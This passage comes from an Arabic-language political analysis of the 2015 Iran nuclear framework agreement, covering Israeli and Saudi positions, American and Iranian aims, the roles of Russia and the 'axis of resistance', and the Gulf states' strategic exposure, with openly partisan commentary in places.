ثالثاً، تقلق إسرائيل من أن يؤدي الاتفاق النووي إلى تشجيع طهران على لعب دور أكثر زعزعة للاستقرار في المنطقة. ففي أعقاب الاتفاق لن تعد إيران دولة منبوذة، كما أن رفع العقوبات سوف يزيد من إيراداتها دون شك، الأمر الذي يتيح للنظام زيادة مساعداته إلى “حزب الله” أو انخراطه في أشكال أخرى من رعاية الإرهاب. وفي الوقت نفسه، تقلق إسرائيل من عدم رغبة واشنطن مواجهة طهران بشأن هذه الأنشطة الإقليمية خوفاً من الإخلال بالاتفاق النووي، نظراً لأمل الولايات المتحدة المتصوّر بأن الاتفاق سيحوّل إيران إلى دولة أكثر طبيعية. وهنا أيضاً، تؤمن اسرائيل أن الطريقة الأضمن لتفادي المشكلة هو قيام الولايات المتحدة بالتوضيح مسبقاً كيف ستقوم بمعاقبة إيران إذا ما اختارت هذه زيادة زعزعة الاستقرار في المنطقة(16).

       ومع استمرار النقاش حول إيران في الأسابيع المقبلة، ستكون لدى واشنطن فرص لدحض الادعاءات الإسرائيلية، وليس هناك شك بأنه سوف تظهر صورة أكثر دقة نتيجة لنقاط التوضيح التي ستُعرض ونقاط التعارض التي ستظهر بين الطرفين. وفي هذا الصدد، دعا الرئيس السابق للاستخبارات العسكرية الإسرائيلية عاموس يادلين، نتنياهو إلى عدم معارضة الاتفاق بشكل مطلق، بل عليه الحصول على المزيد من التوضيحات من إدارة أوباما حول مجموعة من الأسئلة التي لم يتم حلها مع دخول اتفاق مرحلة الصياغة، من بينها قضايا الإنفاذ. وسوف يظهر تخمين ثاني داخل إسرائيل أيضاً. وعلى وجه الخصوص، سوف يطرح الكثيرون فكرة ما إذا كان توقيت خطاب نتنياهو في 3 آذار/مارس في الكونغرس الأمريكي قد أسفر عن نتيجة غير مقصودة وهي مساعدة الرئيس أوباما على تعزيز خاصرته الديمقراطية لمعارضة أي جهود يقوم بها الكونغرس لتجاوز الإطار النووي بشكل أفضل. ومع ذلك، سيكون الخلاف الرئيس بين البيت الأبيض وإسرائيل وليس داخل إسرائيل، لذلك يمكن للمرء أن يتوقع قيام قدر كبير من الاضطرابات في العلاقات الثنائية في المرحلة القادمة(17).

3. الموقف السعودي

       يمثل الموقف السعودي اهمية كبيرة فيما يتعلق بشأن الاتفاق النووي بين إيران واميركا, وقد غلب عليه التوجس الصريح في بدايات الاتفاق, ثم حدث تحول في الخطاب الرسمي السعودي إلى القبول المشروط، حيث اكدت الحكومة السعودية خلال اجتماعها في 25نوفمبر الماضي أنه إذا توافر حسن النوايا فيمكن أن يشكل هذا الاتفاق خطوة أولية في التوصل لحل شامل للبرنامج النووي الإيراني, فيما إذا افضى إلى إزالة كافة اسلحة الدمار الشامل وخصوصا السلاح النووي من منطقة الشرق الأوسط والخليج العربي.(18) وأعرب الملك سلمان بن عبدالعزيز آل سعود، في محادثة هاتفية مع الرئيس الأمريكي باراك أوباما – بعد الإعلان عن الاتفاق – عن أمله في: “التوصل إلى اتفاق نهائي مُلزم يؤدي إلى تعزيز الأمن والاستقرار في المنطقة والعالم”، وفق ما أوردت وكالة الأنباء الرسمية السعودية “واس“. وأعلم الرئيس أوباما في هذه المكالمة رسمياً، العاهل السعودي بالتوصل “مع إيران إلى اتفاق إطاري بشأن ملفها النووي”، مؤكداً فيها “حرص الولايات المتحدة الأمريكية على السلام والاستقرار في المنطقة”. وأضافت الوكالة، أن الرئيس الأمريكي تطرق أيضاً إلى: “تطورات الأحداث في اليمن، مؤكداً التزام الولايات المتحدة الأمريكية الكامل، بدعم قدرات السعودية للدفاع عن نفسها(19). ونشرت صحيفة “نيويورك تايمز” الأمريكية مقالا لها في وقت سابق عبرت فيه عن خوف حلفاء الولايات المتحدة من الاتفاق الذي عقد بجنيف بخصوص برنامج إيران النووي، قالت الصحيفة إن الاتفاق المرحلي بين إيران و”السداسية” من الممكن أن يبدأ محادثات أطول وأصعب خلال الستة أشهر القادمة، أو ينهيها تماما، وفي كلتا الحالتين يجب على أمريكا تهدئة مخاوف إسرائيل والسعودية بمخالفة إيران للاتفاق. وأشارت الصحيفة إلى رفض رئيس الوزراء الإسرائيلي “بنيامين نتنياهو” بعد الإعلان عن الاتفاق ووصفه بأنها “خطأ تاريخي”، موضحة أن السعودية تشكك في التزام إيران بالاتفاق، لذا فالوقت قصير بالنسبة لأمريكا لمعالجة هذه المخاوف قبل أن تسوء العلاقات بين أمريكا وحلفائها في الشرق الأوسط. وأوضحت الصحيفة أن أمريكا ليس أمامها سوى استراتيجية واحدة لتطمئن حلفاءها، وهي تقديم تعهدات دائمة وواضحة لإسرائيل والدول العربية تتضمن: اعتبار أي هجوم من إيران على أي من هذه الدول هجوما على الولايات المتحدة نفسها، مشيرة إلى أن ضمانا كهذا في قيد التنفيذ خصوصا بالنسبة لإسرائيل والسعودية. وتابعت الصحيفة، أن مخاوف إسرائيل تختلف عن الدول العربية، إذ إن أمريكا من الممكن أن تلجأ إلى أشكال مختلفة من التعهدات، فبالنسبة للعرب من الممكن أن تقدم أمريكا ضمانات أمنية والإعلان أن واشنطن مددت مظلتها النووية للعرب مثل حلفائها من أعضاء الناتو واليابان، أما بالنسبة لإسرائيل فمن الصعب أن ترفض تل أبيب حماية أمريكا لها ضد أي ضربات من إيران، خاصة إذا تعهدت أمريكا بنفس الالتزامات للدول المجاورة لإسرائيل من العرب. وبينت الصحيفة أن هذه التعهدات من الممكن أن تؤدي إلى دخول أمريكا لحرب أخرى بالشرق الأوسط، لكن المقصود من الاتفاقيات العكس تماما، وهو أنها ستكون بوليصة تأمين للولايات المتحدة للخروج من أي حرب. واختتمت “نيويورك تايمز” مقالها بأن تعهدات مثل هذه تؤدي إلى اعتراض إيران وخوفها على الاتفاقية النووية، وأنهم من الممكن أن يعتبرونها إنقاصا من نفوذهم بالمنطقة، مبينة أن على أمريكا البدء في التحضير لهذه المعاهدات منذ الآن(20). وقد نشر موقع “عنيان مركازي” الإسرائيلي تقريرا له تحت عبارة “خاص لقراء عنيان مركازي”، في وقت سابق بخصوص إذا ما تم الاتفاق النووي بين طهران وواشنطن، كشف فيه عن التنسيق السعودي الإسرائيلي لشن هجوم عسكري ضد إيران حال استمرار ما تصفه الرياض وتل أبيب بالتراخي الأمريكي في التعامل مع إيران إثر التقارب بين البلدين مؤخرا. وقال الموقع الصهيوني أن رئيس الاستخبارات السعودية السابق الأمير “بندر بن سلطان” صرح لمسؤولين غربيين بأن الرياض تفكر جديا في علاقاتها المشتركة مع أمريكا عقب التحول السياسي الذي أصابها والتقارب مع النظام الإيراني. وأضاف “بندر” أنه حال تخفيف أمريكا للعقوبات المفروضة على إيران فإن السعودية لن تجد أمامها بديلا عن مساعدة إسرائيل في الاستعداد لتنفيذ هجوم ضد طهران، الأمر الذي استبعدهالمحلل السياسي الإيراني “سيد محمد ماراندي, حيث يرى من غير المرجح أن تهاجم السعودية وإسرائيل إيران؛ لأنه في نهاية المطاف سيخسر البلدان، وسينظر العالم لهم بنظرة المعتدي، كما أن إيران سترد الهجوم، وهذا من شأنه أن يخلق كارثة اقتصادية للعالم بأسره، والسعوديون والإسرائيليون سيكونون مسؤولين عن ذلك”(21). وأشارت مصادر أجنبية أن التنسيق السعودي الإسرائيلي لا يقتصر على الملف النووي الإيراني فقط بل يشمل أيضا اسقاط نظام “الأسد” في سوريا. وحسب موقع “عنيان مركازي” فإن هناك عددا من الدول أبدت استعدادها للتعاون في تنفيذ الهجوم، في مقدمتها الخليجية وبخاصة البحرين، بجانب بعض الدول الأفريقية من بينها جنوب السودان. وأكد الموقع الصهيوني على أن الرياض تتبنى نفس الموقف الإسرائيلي حيال برنامج إيران النووي، لكن السعودية تتعامل بحدة أقل مما تتعامل بها إسرائيل مع هذه القضية، مضيفا أن السعودية لا تصدر تصريحات هجومية علنية مثلما يفعل رئيس الحكومة الإسرائيلية بنيامين نتنياهو(22). ولربما يكون الموقف السعودي اكثر عقلانية في ظل التطمينات الامريكية للملكة في حال تم الاتفاق, وربما يكون هناك تقارب إيراني سعودي برعاية امريكية بعد اتمام صفقة الاتفاق النووي, وهذا ما نشرته نشرت صحيفة “هآرتس” الصهيونية، حيث اعتبرت الصحيفة أن استئناف العلاقات بين السعودية وإيران يسير على طريق ما تم في عملية استئناف العلاقات بين واشنطن وطهران، مؤكدة أن مساعي الرياض لتوطيد علاقاتها بطهران جاءت عقب تغيير موقف أمريكا من برنامج إيران النووي. وأوضحت “هآرتس” أن موقف الرياض ومساعيها لاستئناف العلاقات مع طهران، جاء في إطار عدم رغبة السعودية بأن تظل وحيدة في وجه إيران بعد تحول موقف الإدارة الأمريكية بقيادة “أوباما” و”كيري” من برنامج طهران النووي. كما تكشف عن تعهدات قطعها وزير الخارجية الأمريكية جون كيري ووزير الدفاع تشاك هيجل بأن استئناف العلاقات بين واشنطن وطهران لن يكون على حساب الرياض، مضيفة أن سعي السعودية لاستئناف العلاقات مع إيران خلال هذه المرحلة لضمان تنفيذ هذه التعهدات. واختتمت “هآرتس” تقريرها بأن هذا الموقف السعودي يزيد من تفكك المحور المعادي للاتفاق الدولي بين إيران والدول الست الكبرى فيما يخص برنامج طهران النووي، متوقعة أن تسلك بعض الدول الخليجية المعارضة للاتفاق نفس خطوات أمريكا والسعودية في توطيد العلاقات مع طهران، وستواجه إسرائيل هذا الاتفاق بمفرده(23). إلا أن السعودية تخشى – منافسة إيران على المستوى الاقليمي – أن يؤدي الاتفاق النووي إلى تشجيع طهران على تشديد قبضتها في منطقة الشرق الأوسط وتصعيد جهودها للهيمنة على دول عربية مثل لبنان وسوريا والعراق. والسعودية شأنها شأن اسرائيل الحليف الآخر لواشنطن في الشرق الأوسط، تخشى أيضا أن يكون الرئيس باراك أوباما سمح في غمار الاتفاق النووي لخصمهما المشترك بأن تكون له اليد العليا(24). ويرى فريدمان أن المشكلة في الاتفاق النووي من وجهة نظر السعودية تكمن في أن هناك فجوة آيديولوجية واسعة بين الولايات المتحدة وإيران. وفي ذات الوقت, تختلف مسارات العمل في معالجة بعض القضايا الجوهرية بين إيران والولايات المتحدة الامريكية, وهنا يحاول فريدمان تفسير اسباب المعارضة السعودية للاتفاق النووي الإيراني للإشارة إلى ما يأتي:

  • في حال تقلص النفوذ الأمريكي في منطقة الخليج, فإن إيران ستكون القوى الإقليمية العسكرية الأقوى.
  • إن هناك اقلية شيعية لا يمكن اغفال اهميتها, وتتركز هذه الاقلية في المنطقة الشرقية من المملكة العربية السعودية وهي منطقة غنية بالنفط.
  • إن التقارب الإيراني مع الشيعة في المنطقة الشرقية من المملكة يعد امراً محتملا, ومن ثم ربما يتسبب في حدوث اضطرابات داخل السعودية تهدد استقرارها.

ويصف فريدمان الاتفاق النووي منذ أن تمت المفاوضات أنه بمثابة هروب امريكي من الالتزام الامريكي بحماية السعودية من أعدائها الاقليميين وعلى رأسهم إيران. وبالنظر لهذه الصفقة الاخيرة والصفقات الاخرى المحتملة بشأن البرنامج النووي الإيراني, يؤكد فريدمان أن الولايات المتحدة بدأت تتملص من هذا الالتزام(25).وتشير الرؤية السعودية إلى أن المطالب الإيرانية ستصبح مصدر قلق كبير في المنطقة, ويرجع ذلك لان السعودية ترفض نهائيا أن يكون هناك دولة مؤيدة للنظام الشيعي على حدودها الشمالية. وذكر فريدمان أن الرياض تقوم بتمويل مقاتلين سنة ليواجهوا المقاتلين الشيعة في حرب الوكالة التي تدار بينها وبين إيران في المنطقة, كما أن أي اتفاق يقوم به الجانب الامريكي ليخدم المصالح الإيرانية في العراق سيؤدي إلى إحداث تهديد واضح للأمن القومي السعودي(26).

     ويرى فريدمان أن التحدي الحقيقي أمام السعودية وإسرائيل, هو أن كلا البلدين يعتمدان على الولايات المتحدة لضمان أمنهما القومي لكي يبقى كل منهما في المنطقة التي تشتعل قضاياها يوما بعد يوم, فضلاً عن حاجة إسرائيل للحصول على المعدات العسكرية الامريكية التي لا تستطيع أن تصنعها بنفسها، كأنواع من الطائرات المقاتلة. أما السعودية، فتحتاج إلى القوات الامريكية التي توصف بأنها الضامن النهائي لأمن السعودية، مثلما كان علية الامر منذ عام 1990. ورغم أن كلاً من إسرائيل والسعودية هما من أكثر الدول التي لها تأثير داخل واشنطن, إلا أن الاتفاق النووي الأخير يناقض هذا التأثير, فلم يمتلك أي منهما القدرة الكافية للحيلولة دون إتمام هذا الاتفاق. ويتركز التخوف السعودي الإسرائيلي من تداعيات هذا الاتفاق, وهو ما سيؤثر سلبا على الأمن القومي السعودي والإسرائيلي وعلى تأثيرهما في واشنطن. وقد فشلت زيارة بنيامين نتنياهو رئيس الوزراء الاسرائيلي إلى موسكو في محاولة لكسب موقف روسي والحشد لدعم دولي يمنع الاتفاق المذكور بعد فشلة في إقناع الولايات المتحدة بالتراجع عن عزمها عقد ذلك الاتفاق(27). وهذا ما حدث بالفعل، وقد توصل الطرفان إلى اتفاق مشترك مساء الخميس 2/4/2015.

رابعاً: الأهداف الإيرانية والأمريكية في الاتفاق النووي

     لطهران وواشنطن مصالح مشتركة ويواجهان تهديدات في مختلف أنحاء الشرق الأوسط. وقد تعاونا على المستوى التكتيكي في الماضي, وربما واشنطن هي من اعطت الضوء الاخضر لطهران في إدارة معارك صلاح الدين في العراق ضد تنظيم “داعش”, وهذا ربما يعكس بعض التعاون التكتيكي غير المعلن من جانب الولايات المتحدة الامريكية, وليس من المتوقع أن تعمل إيران على تطبيع العلاقات مع الولايات المتحدة حتى إذا توصلت طهران لاتفاق مع القوى العالمية لتقييد برنامجها النووي. وتحاول الولايات المتحدة وبريطانيا وفرنسا وألمانيا وروسيا والصين التوصل لاتفاق مع إيران يحول بينها وبين انتاج القنبلة النووية مقابل تخفيف العقوبات المفروضة عليها والتي تعرقل اقتصادها. إلا أن هناك بعض الاهداف التي تفرض على الطرفين الوصول لإنهاء ملف إيران النووي، وتلك الاهداف اشار اليها جورج فريدمان في مقال جاء بعنوان” الإسرائيليون والسعوديون والاتفاق النووي الإيراني”، ونشره موقع ستراتفورد الأمريكي للاستخبارات الدولية في 26نوفمبر 2013، ذكر فيه اهداف عقد الاتفاق النووي الإيراني وجاء فيه:

  1. الاهداف الأمريكية: أشار فريدمان إلى أن الولايات المتحدة تسعى من خلال هذا الاتفاق إلى التخلص من اية اسلحة نووية إيرانية قد تشرع في تصنيعها بالفعل وبدون أن تلجأ الولايات المتحدة إلى استخدام القوة العسكرية, رغم أن مسألة توجيه الولايات المتحدة ضربة عسكرية جوية ناجحة ضد إيران ظل اعتقادا شائعا, إلا أن فريدمان اكد ان القيام بمثل هذه الخطوة صعب, بل يشكل ايضا خطورة بالغة على الولايات المتحدة ومصالحها في المنطقة, لذا تسعى الآن لوضع رقابة دولية على البرنامج النووي الإيراني.
  2. الاهداف الإيرانية: يتمثل الهدف الرئيس لإيران من عقد اتفاقها الأخير ضمن مجموعة (5+1) في رغبتها للحفاظ على النظام الإيراني وحمايته؛ لأن العقوبات الغربية التي فرضت على إيران زادت تدريجيا من الضغط الواقع على الاقتصاد الإيراني, خصوصا في ظل تراجع اسعار النفط العالمية، وهو ما اصبح له تأثير على قطاع واسع من الشعب الإيراني, وساهم في خلق حالة من الإحباط العام لدى المواطنين الإيرانيين، إلا أن فريدمان ذكر أن هذه الحالة لم تصل بعد إلى نقطة الانكسار التي يمكن أن تؤدي إلى تهديد استقرار النظام الحاكم في إيران, لكن لا يمكن التنبؤ بما تؤول اليه الأوضاع الاقتصادية في المستقبل إذا استمر الوضع على ما هو عليه, وما يمكن أن يتحمله المواطن الإيراني جراء ذلك(28). وهو يرى بأن فوز حسن روحاني مؤشرا على وجود حالة من الاحباط العام والرغبة في إحداث تغيير يصلح الأوضاع في البلاد.

خامساً: العوامل التي ادت إلى نضج الاتفاق

       كانت هناك ثمة عوامل ادت إلى نضج الاتفاق النووي بين الولايات المتحدة الامريكية وإيران، وهي ثلاثة :

العامل الأول: وضع اميركا والاطلسي

أولا: اعلن أوباما بعد انتخابه للمرة الثانية ان أولويات استراتيجية الولايات المتحدة الاميركية ترتكز على مسألتين، الأولى: التصدي للعجز في الميزان التجاري والدَّين العام الذي بلغ16.7 تريليون دولار , وللمشاكل بين الجمهوريين والديمقراطيين حول رفع سقف الدين الاميركي وتمويل العجز وتسديد مستحقاته. والثانية: الانسحاب من الشرق الأوسط نحوى محيط الباسيفيك وجنوب آسيا للتصدي للعملاق الاقتصادي الصيني الذي سيتجاوز الاميركي عام 2020 في التربع على قمة الاقتصاد العالمي. وبعد الفشل الكبير لمشروع الاسلام السياسي في الحكم , والذي أوكلته اميركا رعاية مصالحها في الشرق الأوسط, من ليبيا إلى تونس إلى مصر إلى سوريا رغم عشرات المليارات الخليجية التي صرفت عليه،لم يستطع هذا الاسلام البقاء في الحكم لأكثر من عام، وتحول إلى حالة تكفيرية ارهابية حولت سوريا والشرق الأوسط إلى ساحة حرب باتت تهدد السلم والاستقرار العالميين. وبعد عجز التحالف الغربي – الإسرائيلي – السعودي عن كسر محور المقاومة الذي تشكل إيران قاعدته المركزية، ولا سيما عقب فشل عدوان تموز لعام 2006، وحرب غزة 2008 – 2009، والفشل الحالي في سوريا، باتت اميركا بأمس الحاجة إلى اي حل يطفئ الحرب المتفاقمة للتفرغ لأولوياتها.

ثانيا: اثبتت اميركا والاطلسي (بعد تلقفهما حبل النجاة الروسي الذي قدمه بوتين لحل ملف السلاح الكيميائي السوري، وبعد استعمال الفيتو ثلاثة مرات في مجلس الامن من قبل روسيا والصين لحماية سوريا من التدخل العسكري الاطلسي) عجزهما عن حل ملفات المنطقة المعقدة منفردتين, وعبر الحلول العسكرية كما حصل في ليبيا. وان عصر العربدة الاميركية الاطلسية وحروبهما للانقضاض على الدول لتغييرها واستلاب خيراتها تحت مسميات التدخل الانساني لحماية المدنيين ونشر الديمقراطية قد ولى إلى غير رجعة. هذه الحالة من التراجع الاستراتيجي جعلت الولايات المتحدة الاميركية غير قادرة على تصريف قدراتها العسكرية في حروب جديدة، فاحتكمت بالأخير للخيارات الدبلوماسية .

ثالثا: أكد أوباما – في تعليقه على الاتفاق – الالتزامات الأميركية “حيال أصدقائنا وحلفائنا، وخصوصاً إسرائيل وشركائنا في الخليج الذين لديهم أسباب كافية للتشكيك في نيات إيران”. وشدّد على أنه “في نهاية المطاف، وحدها الدبلوماسية يمكنها أن تؤدي إلى حل دائم للتحدي الذي يمثله البرنامج النووي الإيراني , وأن هناك فرصة حقيقية اليوم للتوصل إلى اتفاق شامل وسلمي”، مما دل على تغير منهج الولايات المتحدة الاميركية في مقاربة المشاكل العالقة من اعتماد القوة المغطاة بتفويض من للأمم المتحدة أو مجلس الامن, نحوى اعتماد الحوار لحل الازمات الدولية . وبرز هذا التغير بعد انكشاف عمق الازمة الاقتصادية الاميركية, ومن ثم ظهر عجز اميركا عن الحروب وتغطية نفقاتها امام خصومها وحلفائها, مما حدى بخصومها الى تقديم مبادرات حلول – يدركون مسبقا – أن امريكا لا تستطيع رفضها لانتفاء البديل لديها, ودفع بحلفائها إلى الانفكاك عنها والاتجاه نحو روسيا والصين بدءا من مصر إلى السعودية إلى تركيا واسرائيل.

رابعا: ادراك المقربين من دوائر القرار في العالم أن الملف النووي الإيراني لم يكن سوى حجة أمريكية في صراعها مع إيران, حيث أن الجمهورية الإسلامية الإيرانية لم تعلن نيتها بناء سلاح نووي ولم تحاول حتى السير في مشروع نووي عسكري منذ البدء , وكان بوسع اميركا والغرب قبل سنوات الحصول على شروط أفضل بكثير مما حصلوا عليه في الاتفاق النووي الاخير .حيث كانت إيران تمتلك 164 طاردا مركزيا عند بدء التفاوض، اما الان فهي تمتلك بحدود ال 20 الف طارد مركزيا، وتخصب اليورانيوم بنسبة 20% داخل حدودها. ولكن الغرب فوت كل فرص تفاوضه مع إيران؛ لأن السبب الحقيقي ليس الملف النووي الإيراني بل هو صراع جيوسياسي متعلق بالطاقة والمطامع الأمريكية للوصول إلى ثروات بحر قزوين ووسط آسيا, واثبت ذلك تصريح السفير الأمريكي في باكستان قبل بضعه اشهر (بأن الولايات المتحدة تدعم خط غاز من تركمانستان غبر أفغانستان إلى باكستان وتعارض خط الغاز الإيراني إلى باكستان فالهند), حيث أن الخط الذي تدعمه واشنطن تفاوضت لأجله أكثر من خمس سنوات وقاتلت لأجله أكثر من عشر سنوات وبقي حبراً على ورق, وعجزت واشنطن عن أن تلزم حليفتها باكستان وقف الشراكة مع إيران, ولذلك منذ بدء مد خط الغاز الإيراني إلى باكستان أصبح المطلوب أمريكيا طي الملف النووي الإيراني؛ لأن قيام باكستان ببدء تنفيذ خط غازها إلى إيران كان له قراءة واحدة، وهي أن الناتو هزم في أفغانستان ولم يستطع التحكم بمسارات انابيب الطاقة لتطويق الصين , ولم يعد لوجوده هناك اي جدوى, وتبددت احلام واشنطن بمد خط غاز عبر أفغانستان بعد كل تلك السنوات التي هدرت في الحروب والتفاوض. وعليه، اصبح من المتوقع أن يجنح الأمريكي إلى التفاوض مع إيران والقبول بآليات الحل النووي الإيراني المدعوم من روسيا (رغم ادراكه أن إيران أعطت ما لا تحتاجه بالفعل، وأخذت ما هي بحاجة إليه بالفعل), وذلك لحاجة الولايات المتحدة إلى إيران لترتيب أكثر من ملف حساس وشائك في الشرق الأوسط بدءا من أفغانستان لتامين انسحاب آمن لقواتها العام المقبل, إلى العراق وسوريا ولبنان والبحرين واليمن وصولاً إلى أفريقيا(29).

العامل الثاني: استفاقة روسيا

     تزامنت الازمة السورية والنووية الإيرانية مع استفاقة روسيا بقيادة فلاديمير بوتين لها وبعد تعافيها اقتصاديا اثر ارتفاع اسعار الطاقة، وعودتها إلى حلبة الصراع الدولية مع الصين حيث شكلا عقبة كأداء بوجه التفرد الاميركي والاطلسي للتحكم بالكون. لقد بسط بوتين مظلته السياسية والامنية فوق سوريا والمنطقة كونها منطقة تصادم جيوبوليتيكي بين الأوراسية والغرب. وفي المذهب الأوراسي الذي يعتنقه ويسعى لتحقيقه بوتين تسمى منطقتنا الريف القاري أو حافة اليابسة , التي من يسيطر عليها يسيطر على قلب العالم، أي روسيا. وباتت منطقة الشرق الأوسط منطقة نفوذ روسي , والبحر المتوسط (بعد تمركز الاساطيل والغواصات الروسية امام الساحل السوري) بات بحيرة روسية ايضا. لقد نجح الرئيس الروسي في فرض ايقاعه السياسي على الاميركي والاطلسي عبر تعطيل استهداف سوريا في مجلس الامن بثلاثة فيتوات روسية صينية .ومن ثم كسر التحالف الروسي الصيني نظام الاحادية القطبية التي حولت العالم مسرحا للإرهاب والحروب والكوارث, وبتنا نشهد ولادة عالم جديد متعدد الاقطاب تتبلور ملامحه في منطقتنا التي كانت وما تزال الحاضنة لولادته . لقد اعلن الوزير الروسي سيرغي لافروف (أن الاتفاق مع إيران جرى حسب رؤية الرئاسة الروسية), وبالتالي هو تبنّي أمريكي للموقف الروسي في الملف النووي الإيراني بعد التبني الأمريكي سابقا الموقف الروسي تجاه الملف الكيميائي السوري الذي عد سلم نجاة قدمه بوتين لأوباما للنزول من اعلى الشجرة (المأزق) التي وضع نفسه فيها . لقد نجحت الدبلوماسية الروسية في استغلال ازمات الشرق الأوسط كمقدمة لعودتها لاعبا اساسيا ممنوع تجاوزه على المسرح الدولي , ولإصلاح المنظومة الدولية والإعلان عن انتهاء القطبية الأحادية للعالم, ونجحت في تشكيل حلف قوي من منظمة شنقهاي للتعاون إلى مجموعه دول البريكس التي لم تكن قوة اقتصادية فحسب بل كذلك قوة عسكرية وسياسية وشعبية. ونجحت روسيا ايضا في تطوير ترسانتها العسكرية بالتوازي مع تطوير الترسانة العسكرية الصينية ايضا . فضلاً عن تشكل محور المقاومة (المدعوم من موسكو) وصموده الذي كان العامل الأساس في إعادة التوازن للعالم، وفي إنجاح الدبلوماسية الروسية وتعطيل المشاريع الاميركية .

العامل الثالث: إيران ومحور المقاومة

       إن مجرد النظر إلى الصورة التذكارية للدول الست وإيران بعد توقيع الاتفاق,(إيران من جانب والدول الست تواجهها من الجانب الاخر ) يؤكد ان إيران باتت دول اقليمية عظمى يصعب تجاوزها وعدم اخذ مصالحها في الحسبان في اي ترتيبات اقليمية مستقبلية. وهذا الاتفاق(الانجاز) ما كان ليكون لولا مجموعة أمور نوجزها بالاتي:

  1. الموقع الجيواستراتيجي لإيران واهميته في التوازنات الجيواستراتيجية في وسط اسيا والشرق الأوسط والخليج العربي والمحيط الهادي. تعززت اهمية هذا الموقع بعد انتقال مركز الثقل الاقتصادي والسياسي من الغرب إلى الشرق , فضلا عن غنى إيران بالطاقة وخاصة بالغاز، مما جعلها تحتل الموقع الثاني بعد روسيا كأكبر احتياط غازي في العالم. ولا بد من إشارة خاصة هنا، وهي أن التحالف الموضوعي الذي يضم إيران وروسيا والصين، والموقع الجيوبوليتيكي والاستراتيجي الذي ينظم علاقاتهم، يعني بدوره أن إيران باتت ليس فقط قوة ضرورية في عملية التوازن الدولي مع الحلف الغربي, بل في موقع القلب في التحولات التي يشهدها العالم على صعيد التوزع الجديد لموازين القوى في الشرق الأوسط ووسط اسيا على أكثر من صعيد، وايضا في اي توازن دولي مستقبلي.
  2. نجاح إيران في بناء ترسانتها العسكرية وتطوير انظمتها الصاروخية وقواها البحرية والجوية التي بات يحسب لها الف حساب, والتقدم العلمي تحت الحصار والتهديد، ونجاحها أيضا في امتلاك التكنولوجيا النووية، وهو أمر بات من المستحيل عكسه , وكذلك نجاحها في إدارة معركتها النووية بالاستناد إلى قاعدة شعبية صلبة وقيادية عملاقة تتمتع بالحكمة والصمود والثبات والاستعداد للتضحية في مقابل التمسك بالحقوق .
  3. نجاح إيران في مقارعة الولايات المتحدة الاميركية وتهديد مصالحها في المنطقة رغم الحصار الغربي الكبير الذي تعرضت له. فمن افغانستان إلى العراق إلى مضيق هرمز إلى سوريا إلى لبنان إلى فلسطين المحتلة نجحت إيران في تقويض المشاريع الاميركية وتهديد العالم بإغلاق الخليج الفارسي إن تعرضت هي أم سوريا أم اي فريق من محور المقاومة – التي تدر هي حجر الزاوية فيه – لأي خطر خارجي.

فالتسويات التي بدأت في العالم كان سببها الرئيس صمود محور المقاومة بالتوازي مع تغير الموازين العسكرية في العالم الذي جرى في الوقت المستقطع لصمود إيران وسوريا وحزب الله منذ أكثر من عقد من الزمن. ومن المسلمات بأن التوازن العسكري تغير كليا ما بين مطلع أزمة الملف النووي الإيراني حتى اتفاق الدول الست مع إيران. وخلال هذه المدة ظهرت أسماء عشرات الانواع من الأسلحة الحديثة التي طورتها إيران وقلبت الموازين العسكرية في الكثير من المجالات(30).

سادساً: التداعيات الاستراتيجية للاتفاق النووي

     لم تكن تداعيات الاتفاق النووي بين واشنطن وطهران تداعيات آنية بعد أن توصلت الاطراف المفاوضة يوم الخميس 2/4/2015 إلى اتفاق, وانما كانت هناك تداعيات منذ مدة طويلة وربما منذ أن بدأت طهران برنامجها النووي, وبعضها منذ عامين، أي بمجرد أن بدأت المفاوضات الامريكية الإيرانية بشأن البرنامج النووي الإيراني, ولعل دول الخليج هي اكثر الدول التي تناولت تلك التداعيات بخصوص حالة التوصل إلى اتفاق نووي بين الطرفين الامريكي والإيراني. لكن قبل الخوض في تلك التداعيات سنتطرق الى ما يسميه البعض بمشكلة الانكشاف الاستراتيجي.

مأزق الانكشاف الاستراتيجي لدول الخليج

       منذ تسعينات القرن الماضي ومنظومة الأمن الإقليمي في منطقة الخليج تقوم على محورين رئيسين، الأول: اعتماد دول مجلس التعاون الخليجي على ما يسميه البعض “الأمن المستورد” الذي جسدته الاتفاقيات الأمنية التي أبرمتها دول مجلس التعاون الخليجي مع بعض الدول الغربية وفي مقدمتها الولايات المتحدة بعد حرب تحرير الكويت، وما استتبع تلك الاتفاقيات من إقامة قواعد عسكرية أمريكية في المنطقة ظلت -وما تزال حتى الآن- عامل ردع رئيس بالنسبة لدول الخليج في مواجهة إيران. المحور الثاني: الدور الذي كان يقوم به العراق قبل احتلاله في مارس 2003، كموازن إقليمي لإيران في المنطقة. فبعد غياب الموازن الإقليمي التقليدي الذي كان يمثله العراق – سواء على صعيد القدرات التقليدية أو حتى النووية – أصبح الدور الأمريكي في المنطقة يقوم بوظيفتي الردع والموازن الإقليمي في مواجهة إيران. وكان الرهان الخليجي قائمًا على استمرار حالة العداء بين إيران من جانب والولايات المتحدة الأمريكية من جانب آخر، أو في أقصى تقدير توجيه ضربة عسكرية ضد إيران. ومما يدلل على ذلك، أنه منذ احتلال العراق وخروجه من معادلة توازن القوى في المنطقة، أي منذ عقد كامل تقريبًا، لم تُقدِم دول مجلس التعاون الخليجي على اتخاذ خطوات توحي باستعدادها للمرحلة التي يتراجع فيها الاهتمام الأمريكي بشؤون المنطقة، أو تتبدل فيها أولويات السياسة الأمريكية على النحو الذي بدأت ملامحه تتجسد الآن.

المشكلة التي تعاني منها دول مجلس التعاون الخليجي بعد بدايات الاتفاق النووي الأخير هي مشكلة “انكشاف استراتيجي”، ربما تحدث عنها للمرة الأولى وبشكل صريح الأمير تركي الفيصل بن عبد العزيز آل سعود، الرئيس السابق للاستخبارات السعودية، وذلك في مؤتمر الأمن الوطني والأمن الإقليمي لدول مجلس التعاون الخليجي، الذي عقد في مملكة البحرين في 19 يناير 2012، حيث ركز حديثه على مستويات التهديد التي تمثلها إيران بالنسبة لدول الخليج، والتغيرات المحتملة التي قد تشهدها المنطقة، وتعزز وتفاقم من خطورة هذا التهديد.

